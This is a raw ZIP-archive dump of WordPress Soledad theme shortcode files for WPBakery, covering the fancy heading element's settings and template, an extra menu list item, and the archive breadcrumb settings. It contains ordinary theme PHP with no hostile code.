			'type'       => 'penci_responsive_sizes',
			'param_name' => 'subtitle_margin_top',
			'heading'    => __( 'Custom margin top for subtitle', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'subtitle_margin_bottom',
			'heading'    => __( 'Custom margin bottom for subtitle', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'subtitle_width',
			'heading'    => __( 'Custom width for subtitle', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
		),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Title:', 'soledad' ),
			'param_name'  => 'p_title',
			'admin_label' => true,
			'value'       => esc_html__( 'This is custom heading element', 'soledad' )
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Title tag', 'soledad' ),
			'param_name' => 'title_tag',
			'std'        => 'h2',
			'value'      => array(
				'h1'   => 'h1',
				'h2'   => 'h2',
				'h3'   => 'h3',
				'h4'   => 'h4',
				'h5'   => 'h5',
				'h6'   => 'h6',
				'span' => 'span',
				'p'    => 'p',
				'div'  => 'div',
			),
		),
		array(
			'type'       => 'vc_link',
			'heading'    => esc_html__( 'URL for title', 'js_composer' ),
			'param_name' => 'title_link'
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Add Lines on Left & Right of Title?', 'soledad' ),
			'param_name'  => 'add_line',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'       => 'penci_slider',
			'heading'    => __( 'Lines Height', 'soledad' ),
			'param_name' => 'lines_height',
			'dependency' => array( 'element' => 'add_line', 'value' => 'yes' ),
		),
		array(
			'type'       => 'penci_slider',
			'heading'    => __( 'Lines Width', 'soledad' ),
			'param_name' => 'lines_width',
			'dependency' => array( 'element' => 'add_line', 'value' => 'yes' ),
		),
		array(
			'type'       => 'penci_slider',
			'heading'    => __( 'Lines Spacing', 'soledad' ),
			'param_name' => 'lines_spacing',
			'dependency' => array( 'element' => 'add_line', 'value' => 'yes' ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Turn on upppearcase for title', 'soledad' ),
			'param_name'  => 'turn_on_title',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Use separator', 'soledad' ),
			'param_name'  => '_use_separator',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'        => 'dropdown',
			'heading'     => __( 'Style', 'soledad' ),
			'param_name'  => 'separator_style',
			'value'       => array(
				'Border' => 'border',
				'Dashed' => 'dashed',
				'Dotted' => 'dotted',
				'Double' => 'double'
			),
			'std'         => 'border',
			'description' => __( 'Separator display style.', 'soledad' ),
			'dependency'  => array( 'element' => '_use_separator', 'value' => 'yes', ),
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Add separator icon?', 'soledad' ),
			'param_name'  => 'add_separator_icon',
			'dependency'  => array( 'element' => 'separator_style', 'value_not_equal_to' => 'double' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'yes',
			'std'         => 'yes',
		),
		array(
			'type'        => 'dropdown',
			'heading'     => __( 'Separator Border width', 'soledad' ),
			'param_name'  => 'separator_border_width',
			'value'       => array(
				'1px'  => '',
				'2px'  => '2',
				'3px'  => '3',
				'4px'  => '4',
				'5px'  => '5',
				'6px'  => '6',
				'7px'  => '7',
				'8px'  => '8',
				'9px'  => '9',
				'10px' => '10',
			),
			'description' => __( 'Select border width (pixels).', 'soledad' ),
			'dependency'  => array( 'element' => '_use_separator', 'value' => 'yes', ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'separator_width',
			'heading'    => __( 'Separator width', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'dependency' => array( 'element' => '_use_separator', 'value' => 'yes', ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'separator_margin_top',
			'heading'    => __( 'Custom margin top for Separator', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'content_margin_top',
			'heading'    => __( 'Custom margin top for Content', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'content_width',
			'heading'    => __( 'Custom width for Content', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
		),
		array(
			'type'       => 'textarea_html',
			'holder'     => 'div',
			'heading'    => __( 'Content', 'soledad' ),
			'param_name' => 'content',
			'value'      => __( '<p>I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.</p>', 'soledad' ),
		),
		array(
			'type'        => 'iconpicker',
			'heading'     => __( 'Icon', 'soledad' ),
			'param_name'  => 'p_icon',
			'value'       => 'fas fa-star',
			'settings'    => array(
				'emptyIcon'    => false,
				'iconsPerPage' => 1000,
			),
			'description' => __( 'Select icon from library.', 'soledad' ),
			'group'       => $group_icon,
			'dependency'  => array( 'element' => 'add_separator_icon', 'value' => 'yes', ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'icon_size',
			'heading'    => __( 'Size Icon', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_icon,
			'dependency' => array( 'element' => 'add_separator_icon', 'value' => 'yes', ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'p_icon_martop',
			'heading'    => __( 'Custom margin top and bottom for Icon', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_icon,
			'dependency' => array( 'element' => 'add_separator_icon', 'value' => 'yes', ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'p_icon_marlr',
			'heading'    => __( 'Custom margin right and left for Icon', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_icon,
			'dependency' => array( 'element' => 'add_separator_icon', 'value' => 'yes', ),
		),

		// Color and typo
		array(
			'type'             => 'textfield',
			'param_name'       => '_title_typo_heading',
			'heading'          => esc_html__( 'Title', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Title color', 'soledad' ),
			'param_name'       => 'title_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Title hover color', 'soledad' ),
			'param_name'       => 'title_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => '_title_typo',
			'value'      => '',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => '_title_fsize',
			'heading'          => __( 'Font Size for Title', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'title_md_fsize',
			'heading'          => __( 'Font Size for Title on Tablet', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'title_sm_fsize',
			'heading'          => __( 'Font Size for Title on Tablet Small', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'title_xs_fsize',
			'heading'          => __( 'Font Size for Title on Tablet Mobile', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Typo Sub title
		array(
			'type'             => 'textfield',
			'param_name'       => '_subtitle_typo_heading',
			'heading'          => esc_html__( 'Subtitle Typography', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Subtitle color', 'soledad' ),
			'param_name'       => 'subtitle_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => '_subtitle_typo',
			'value'      => '',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => '_subtitle_fsize',
			'heading'    => __( 'Font Size for Subtitle', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Custom icon color for Separator', 'soledad' ),
			'param_name'       => '_separator_icon_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Custom border color for Separator', 'soledad' ),
			'param_name'       => '_separator_border_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Description Typography
		array(
			'type'             => 'textfield',
			'param_name'       => '_desc_typo_heading',
			'heading'          => esc_html__( 'Description Typography', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Content color', 'soledad' ),
			'param_name' => '_content_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => '_desc_typo',
			'value'      => '',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => '_desc_fsize',
			'heading'    => __( 'Font Size for Description', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),

		vc_map_add_css_animation(),

		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Extra class name', 'soledad' ),
			'param_name'  => 'el_class',
			'description' => esc_html__( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'soledad' ),
		),
		array(
			'type'       => 'css_editor',
			'heading'    => __( 'CSS box', 'soledad' ),
			'param_name' => 'css',
			'group'      => __( 'Design Options', 'soledad' ),
		),
		penci_get_vc_responsive_spacing_map(),
	)
) );
PK     0w\i*,  ,  1  js_composer/shortcodes/fancy_heading/frontend.phpnu [        <?php
/**
 * Shortcode attributes
 * @var $atts
 * @var $_text_align
 * @var $p_subtitle
 * @var $subtitle_tag
 * @var $subtitle_pos
 * @var $subtitle_margin_top
 * @var $subtitle_margin_bottom
 * @var $subtitle_width
 * @var $p_title
 * @var $title_tag
 * @var $turn_on_title
 * @var $_use_separator
 * @var $separator_style
 * @var $add_separator_icon
 * @var $separator_border_width
 * @var $separator_width
 * @var $separator_margin_top
 * @var $content_margin_top
 * @var $content_width
 * @var $content
 * @var $p_icon
 * @var $icon_size
 * @var $p_icon_martop
 * @var $p_icon_marlr
 * @var $title_color
 * @var $_title_typo
 * @var $_title_fsize
 * @var $title_md_fsize
 * @var $title_sm_fsize
 * @var $title_xs_fsize
 * @var $subtitle_color
 * @var $_subtitle_typo
 * @var $_subtitle_fsize
 * @var $_separator_icon_color
 * @var $_separator_border_color
 * @var $_content_color
 * @var $_desc_typo
 * @var $_desc_fsize
 * @var $css_animation
 * @var $el_class
 * @var $css
 */

$_text_align            = $p_subtitle = $subtitle_tag = $subtitle_pos = '';
$subtitle_margin_top    = $subtitle_margin_bottom = $subtitle_width = $p_title = '';
$title_tag              = $turn_on_title = $_use_separator = $separator_style = $add_separator_icon = '';
$separator_border_width = $separator_width = $separator_margin_top = $content_margin_top = '';
$content_width          = $p_icon = $icon_size = $p_icon_martop = $p_icon_marlr = '';
$title_color            = $_title_typo = $_title_fsize = $title_md_fsize = $title_sm_fsize = $title_xs_fsize = '';
$subtitle_color         = $_subtitle_typo = $_subtitle_fsize = $_separator_icon_color = $_separator_border_color = '';
$_content_color         = $_desc_typo = $_desc_fsize = $el_class = $css_animation = $css = '';
$title_link             = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = '';
$class_to_filter .= vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-fancy-heading penci-heading-text-' . $_text_align;
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );


$block_id = Penci_Vc_Helper::get_unique_id_block( 'fancy_heading' );
?>
<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
    <div class="penci-fancy-heading-inner">
		<?php
		$markup_subtitle = '';
		if ( $p_subtitle ) {
			$markup_subtitle = '<' . esc_attr( $subtitle_tag ) . ' class="penci-heading-subtitle">' . $p_subtitle . '</' . esc_attr( $subtitle_tag ) . '>';
		}

		if ( $markup_subtitle && 'above' == $subtitle_pos ) {
			echo $markup_subtitle;
		}

		if ( $p_title ) {

			$p_title_link = $p_title;
			if ( ! empty( $title_link ) ) {
				$_title_link  = vc_build_link( $title_link );
				$p_title_link = '<a href="' . esc_url( $_title_link['url'] ) . '"' . ( $_title_link['target'] ? ' target="' . esc_attr( $_title_link['target'] ) . '"' : '' ) . ( $_title_link['rel'] ? ' rel="' . esc_attr( $_title_link['rel'] ) . '"' : '' ) . '>' . $p_title . '</a>';
			}

			echo '<' . esc_attr( $title_tag ) . ' class="penci-heading-title">' . $p_title_link . '</' . esc_attr( $title_tag ) . '>';
		}
		if ( $markup_subtitle && 'below' == $subtitle_pos ) {
			echo $markup_subtitle;
		}

		if ( 'yes' == $_use_separator ) {
			echo '<div class="penci-separator penci-separator-' . esc_attr( $separator_style ) . ' penci-separator-' . $_text_align . '">';
			echo '<span class="penci-sep_holder penci-sep_holder_l"><span class="penci-sep_line"></span></span>';

			if ( 'yes' == $add_separator_icon ) {
				echo '<span class="penci-heading-icon ' . esc_attr( $p_icon ? $p_icon : 'fa fa-adjust' ) . '"></span>';
			}

			echo '<span class="penci-sep_holder penci-sep_holder_r"><span class="penci-sep_line"></span></span>';
			echo '</div>';
		}

		if ( $markup_subtitle && 'belowline' == $subtitle_pos ) {
			echo $markup_subtitle;
		}

		if ( $content ) {
			$content = wpautop( preg_replace( '/<\/?p\>/', "\n", $content ) . "\n" );
			$content = do_shortcode( shortcode_unautop( $content ) );

			echo '<div class="penci-heading-content entry-content">' . $content . '</div>';
		}
		?>
    </div>
	<?php
	$id_fancy_heading = '#' . $block_id;
	$id_fancy_heading2 = 'body:not(.pcdm-enable) #' . $block_id;
	$css_custom       = '';

	// Margin
	if ( $subtitle_margin_top ) {
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-subtitle{ margin-top: ' . esc_attr( $subtitle_margin_top ) . '; }';
	}
	if ( $subtitle_margin_bottom ) {
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-subtitle{ margin-bottom: ' . esc_attr( $subtitle_margin_bottom ) . '; }';
	}

	if ( $subtitle_width ) {
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-subtitle{ max-width: ' . esc_attr( $subtitle_width ) . '; }';
	}

	if ( $separator_margin_top ) {
		$css_custom .= $id_fancy_heading . ' .penci-separator{ margin-top: ' . esc_attr( $separator_margin_top ) . '; }';
	}

	if ( $content_margin_top ) {
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-content{ margin-top: ' . esc_attr( $content_margin_top ) . '; }';
	}
	$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-content{ margin-bottom: 0; }';

	if ( $content_width ) {
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-content{ max-width: ' . esc_attr( $content_width ) . ';width: 100%; }';
	}

	if ( $separator_width ) {
		$css_custom .= $id_fancy_heading . ' .penci-separator{ width: ' . esc_attr( $separator_width ) . '; }';
	}

	if ( $atts['separator_border_width'] && $atts['separator_border_width'] > 1 ) {
		$css_custom .= $id_fancy_heading . ' .penci-separator .penci-sep_line{ border-width: ' . esc_attr( $atts['separator_border_width'] ) . 'px; top: -' . ( intval( $atts['separator_border_width'] ) / 2 ) . 'px; }';

		if ( 'double' == $atts['separator_style'] ) {
			$height_separator_pre = ( intval( $atts['separator_border_width'] ) * 2 ) + 4;
			$css_custom           .= $id_fancy_heading . ' .penci-separator.penci-separator-double{ height: ' . $height_separator_pre . 'px;}';
			$css_custom           .= $id_fancy_heading . ' .penci-separator.penci-separator-double:before,' . $id_fancy_heading . ' .penci-separator.penci-separator-double:after{ border-top-width: ' . esc_attr( $atts['separator_border_width'] ) . 'px;}';
		}
	}

	if ( $atts['separator_style'] ) {
		$css_custom .= $id_fancy_heading . ' .penci-separator .penci-sep_line{ border-top-style: ' . esc_attr( $atts['separator_style'] ) . '; }';
	}

	// Color
	if ( 'yes' == $atts['turn_on_title'] ) {
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-title{ text-transform: uppercase; }';
	}

	if ( $atts['title_color'] ) {
		$css_custom .= $id_fancy_heading2 . '.penci-fancy-heading .penci-heading-title a,';
		$css_custom .= $id_fancy_heading2 . '.penci-fancy-heading .penci-heading-title{ color: ' . esc_attr( $atts['title_color'] ) . '; }';
	}
	if ( $atts['title_hcolor'] ) {
		$css_custom .= $id_fancy_heading2 . '.penci-fancy-heading .penci-heading-title a:hover{ color: ' . esc_attr( $atts['title_hcolor'] ) . '; }';
	}

	if ( $atts['subtitle_color'] ) {
		$css_custom .= $id_fancy_heading2 . '.penci-fancy-heading .penci-heading-subtitle{ color: ' . esc_attr( $atts['subtitle_color'] ) . '; }';
	}
	if ( $atts['_content_color'] ) {
		$css_custom .= $id_fancy_heading2 . '.penci-fancy-heading .penci-heading-content{ color: ' . esc_attr( $atts['_content_color'] ) . '; }';
	}
	if ( $atts['_separator_border_color'] ) {
		$css_custom .= $id_fancy_heading2 . ' .penci-separator .penci-sep_line{ border-color: ' . esc_attr( $atts['_separator_border_color'] ) . '; }';
		$css_custom .= $id_fancy_heading2 . ' .penci-separator.penci-separator-double:before,' . $id_fancy_heading . ' .penci-separator.penci-separator-double:after{ border-color: ' . esc_attr( $atts['_separator_border_color'] ) . '; }';
	}

	// Icon
	$css_custom_icon = '';
	if ( $atts['icon_size'] ) {
		$css_custom_icon .= 'font-size: ' . esc_attr( $atts['icon_size'] ) . ';';
	}

	if ( $atts['p_icon_martop'] ) {
		$css_custom_icon .= 'margin-top: ' . esc_attr( $atts['p_icon_martop'] ) . '; margin-bottom: ' . esc_attr( $atts['p_icon_martop'] ) . ';';
	}

	if ( $atts['p_icon_marlr'] ) {
		$css_custom_icon .= 'margin-left: ' . esc_attr( $atts['p_icon_marlr'] ) . '; margin-right: ' . esc_attr( $atts['p_icon_marlr'] ) . ';';
	}

	if ( $atts['_separator_icon_color'] ) {
		$css_custom_icon .= 'color: ' . esc_attr( $atts['_separator_icon_color'] ) . ';';
	}

	if ( $css_custom_icon ) {
		$css_custom .= $id_fancy_heading . ' .penci-separator .penci-heading-icon{ ' . ( $css_custom_icon ) . ' }';
	}

	if ( $atts['title_md_fsize'] ) {
		$css_custom .= '@media screen and (min-width: 769px) and (max-width: 1024px){';
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-title{ font-size: ' . esc_attr( $atts['title_md_fsize'] ) . '; } }';
	}

	if ( $atts['title_sm_fsize'] ) {
		$css_custom .= '@media screen and (min-width: 481px) and (max-width: 768px){';
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-title{ font-size: ' . esc_attr( $atts['title_sm_fsize'] ) . '; } }';
	}

	if ( $atts['title_xs_fsize'] ) {
		$css_custom .= '@media screen and (max-width: 480px){';
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-title{ font-size: ' . esc_attr( $atts['title_xs_fsize'] ) . '; } }';
	}

	$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
		'font_size'  => $atts['_title_fsize'],
		'font_style' => $atts['_title_typo'],
		'template'   => $id_fancy_heading . ' .penci-heading-title{ %s }',
	) );

	$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
		'font_size'  => $atts['_subtitle_fsize'],
		'font_style' => $atts['_subtitle_typo'],
		'template'   => $id_fancy_heading . ' .penci-heading-subtitle{ %s }',
	) );

	$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
		'font_size'  => $atts['_desc_fsize'],
		'font_style' => $atts['_desc_typo'],
		'template'   => $id_fancy_heading . ' .penci-heading-content{ %s }',
	) );

	if ( $add_line == 'yes' ) {
		if ( $lines_height ) {
			$css_custom .= $id_fancy_heading . ' .penci-fancy-heading.pc-fctline .inner-tit:before,' . $id_fancy_heading . ' .penci-fancy-heading.pc-fctline .inner-tit:after{height: ' . $lines_height . 'px; margin-top: calc( ' . $lines_height . 'px * -1 / 2 );}';
		}
		if ( $lines_width ) {
			$css_custom .= $id_fancy_heading . ' .penci-fancy-heading.pc-fctline .inner-tit:before,' . $id_fancy_heading . ' .penci-fancy-heading.pc-fctline .inner-tit:after{width: ' . $lines_height . 'px;}';
		}
		if ( $lines_spacing ) {
			$css_custom .= $id_fancy_heading . ' .penci-fancy-heading.pc-fctline .inner-tit{padding-left: ' . $lines_spacing . 'px; padding-right: ' . $lines_spacing . 'px;}';
		}
	}

	if ( $responsive_spacing ) {
		$css_custom .= penci_extract_spacing_style( $id_fancy_heading, $responsive_spacing );
	}

	if ( $css_custom ) {
		echo '<style>';
		echo $css_custom;
		echo '</style>';
	}
	?>
</div>
PK     0w\i    6  js_composer/shortcodes/advanced_list_item/settings.phpnu [        <?php

vc_map(
	array(
		'name'            => esc_html__( 'Extra menu list item', 'soledad' ),
		'base'            => 'penci_advanced_list_item',
		'as_child'        => array( 'only' => 'penci_advanced_list' ),
		'content_element' => true,
		'category'        => esc_html__( 'Soledad', 'soledad' ),
		'description'     => esc_html__( 'A link for your extra menu list', 'soledad' ),
		'html_template'   => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/advanced_list_item/frontend.php',
		'icon'            => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
		'params'          => array(
			/**
			 * Link
			 */
			array(
				'type'             => 'textfield',
				'param_name'       => 'link_divider',
				'heading'          => esc_html__( 'Link', 'soledad' ),
				'value'            => '',
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'textfield',
				'holder'           => 'div',
				'heading'          => esc_html__( 'Title', 'soledad' ),
				'param_name'       => 'title',
				'edit_field_class' => 'vc_col-sm-6 vc_column',

			),
			array(
				'type'             => 'vc_link',
				'heading'          => esc_html__( 'Link', 'soledad' ),
				'param_name'       => 'link',
				'hint'             => esc_html__( 'Enter URL if you want this parent menu item to have a link.', 'soledad' ),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			/**
			 * Label
			 */
			array(
				'type'             => 'textfield',
				'param_name'       => 'label_divider',
				'heading'          => esc_html__( 'Label', 'soledad' ),
				'value'            => '',
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Label text (optional)', 'soledad' ),
				'param_name'       => 'label_text',
				'hint'             => esc_html__( 'Write a label for this menu item badge like “Sale”, “Hot”, “New” etc. Leave empty to not add any badges.', 'soledad' ),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Label color', 'soledad' ),
				'param_name'       => 'label',
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			/**
			 * Image
			 */
			array(
				'type'             => 'textfield',
				'param_name'       => 'image_divider',
				'heading'          => esc_html__( 'Image', 'soledad' ),
				'value'            => '',
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'attach_image',
				'heading'          => esc_html__( 'Image', 'soledad' ),
				'param_name'       => 'image',
				'value'            => '',
				'hint'             => esc_html__( 'Select image from media library.', 'soledad' ),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Image size', 'soledad' ),
				'param_name'       => 'image_size',
				'hint'             => esc_html__( 'Enter image size. Example: \'thumbnail\', \'medium\', \'large\', \'full\' or other sizes defined by current theme. Alternatively enter image size in pixels: 200x100 (Width x Height). Leave empty to use \'thumbnail\' size.', 'soledad' ),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
				'description'      => esc_html__( 'Example: \'thumbnail\', \'medium\', \'large\', \'full\' or enter image size in pixels: \'200x100\'.', 'soledad' ),
			),
			/**
			 * Extra
			 */
			array(
				'type'             => 'textfield',
				'param_name'       => 'extra_divider',
				'heading'          => esc_html__( 'Extra options', 'soledad' ),
				'value'            => '',
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Extra class name', 'soledad' ),
				'param_name' => 'el_class',
				'hint'       => esc_html__( 'If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'soledad' ),
			),
		),
	)
);
PK     0w\]TE  E  6  js_composer/shortcodes/advanced_list_item/frontend.phpnu [        <?php


if ( ! function_exists( 'wpb_getImageBySize' ) ) {
	return;
}
$link   = $title = $image = $image_size = $label = $label_text = $el_class = '';
$output = $class = $label_out = '';
$atts   = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

if ( penci_get_menu_label_tag( $label, $label_text ) ) {
	$class .= penci_get_menu_label_class( $label );
}

if ( $el_class ) {
	$class .= ' ' . $el_class;
}

// Image settings.
$image_output = '';
if ( function_exists( 'wpb_getImageBySize' ) && $image ) {
	$img          = wpb_getImageBySize( array(
		'attach_id'  => $image,
		'thumb_size' => $image_size,
		'class'      => 'penci-nav-img'
	) );
	$image_output = isset( $img['thumbnail'] ) ? $img['thumbnail'] : '';
}

?>

<li class="<?php echo esc_attr( $class ); ?>">
    <a <?php echo penci_get_link_attributes( vc_build_link( $link ) ); ?>>
		<?php if ( $image_output ) : ?>
			<?php echo $image_output; ?>
		<?php endif; ?>

		<?php echo wp_kses( $title, penci_allow_html() ); ?>
		<?php echo penci_get_menu_label_tag( $label, $label_text ); ?>
    </a>
</li>

		

PK     0w\]zq    9  js_composer/shortcodes/pc_archive_breadcrumb/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_archive_breadcrumb",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Archive Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_archive_breadcrumb/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Archive Builder - Breadcrumb', 'soledad' ),
	'description'   => 'Archive Builder - Breadcrumb',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Breadcrumb Align', 'soledad' ),
			'param_name'       => 'breadcrumb_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'BreadCrumb Text Color', 'soledad' ),
			'param_name'       => 'breadcrumb-t-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'BreadCrumb Text Hover Color', 'soledad' ),
			'param_name'       => 'breadcrumb-t-hcolor',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_number',
			'heading'          => esc_html__( 'BreadCrumb Spacing', 'soledad' ),
			'param_name'       => 'breadcrumb-spacing',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Custom Font Family for Breadcrumb', 'soledad' ),
			'param_name' => 'use_custom_typo',
			'value'      => 'no',
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'main_text_font',
			'value'      => '',
			'dependency' => array( 'element' => 'use_custom_typo', 'value' => 'yes' ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'main_text_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\u		  		  9  js_composer/shortcodes/pc_archive_breadcrumb/frontend.phpnu [        <?php
